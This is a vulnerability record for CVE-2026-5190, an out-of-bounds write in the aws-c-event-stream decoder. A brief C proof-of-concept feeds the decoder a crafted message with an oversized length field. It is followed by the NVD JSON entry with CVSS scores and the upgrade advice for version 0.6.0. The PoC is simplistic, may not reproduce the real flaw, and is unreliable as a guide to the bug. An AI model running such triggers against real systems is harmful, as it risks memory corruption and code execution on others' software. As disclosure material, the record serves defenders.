CVE-2026-5190

/* * PoC for CVE-2026-5190: Out-of-bounds write in aws-c-event-stream * This PoC demonstrates how a crafted message can be processed to trigger the vulnerability. * Note: Actual exploitation requires specific heap layout manipulation. */ #include <aws/common/allocator.h> #include <aws/event-stream/event_stream.h> #include <stdio.h> #include <string.h> int main() { struct aws_allocator *allocator = aws_default_allocator(); struct aws_event_stream_streaming_decoder decoder; // Initialize the decoder with a null handler for simplicity aws_event_stream_streaming_decoder_init(&decoder, allocator, NULL, NULL); // Crafted payload simulating a malformatted event stream message // The length field (bytes 0-3) is set to a value larger than the actual buffer // to trigger the out-of-bounds write during decoding. uint8_t crafted_message[128]; memset(crafted_message, 0, 128); // Set total length to a large value (e.g., 0xFFFFFFFF) to cause overflow crafted_message[0] = 0xFF; crafted_message[1] = 0xFF; crafted_message[2] = 0xFF; crafted_message[3] = 0xFF; // Feed the crafted data into the decoder printf("Sending crafted payload to trigger OOB write...\n"); aws_event_stream_streaming_decoder_feed(&decoder, crafted_message, sizeof(crafted_message)); // Cleanup aws_event_stream_streaming_decoder_clean_up(&decoder); printf("Payload processed.\n"); return 0; }

{"cve": {"id": "CVE-2026-5190", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2026-03-31T18:16:59.080", "lastModified": "2026-04-01T14:23:37.727", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds write in the streaming decoder component in aws-c-event-stream before 0.6.0 might allow a third party operating a server to cause memory corruption leading to arbitrary code execution on a client application that processes crafted event-stream messages.\n\nTo remediate this issue, users should upgrade to version 0.6.0 or later."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/2026-011-aws/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/awslabs/aws-c-event-stream/releases/tag/v0.6.0", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/awslabs/aws-c-event-stream/security/advisories/GHSA-xvjw-fjq5-68hf", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}]}}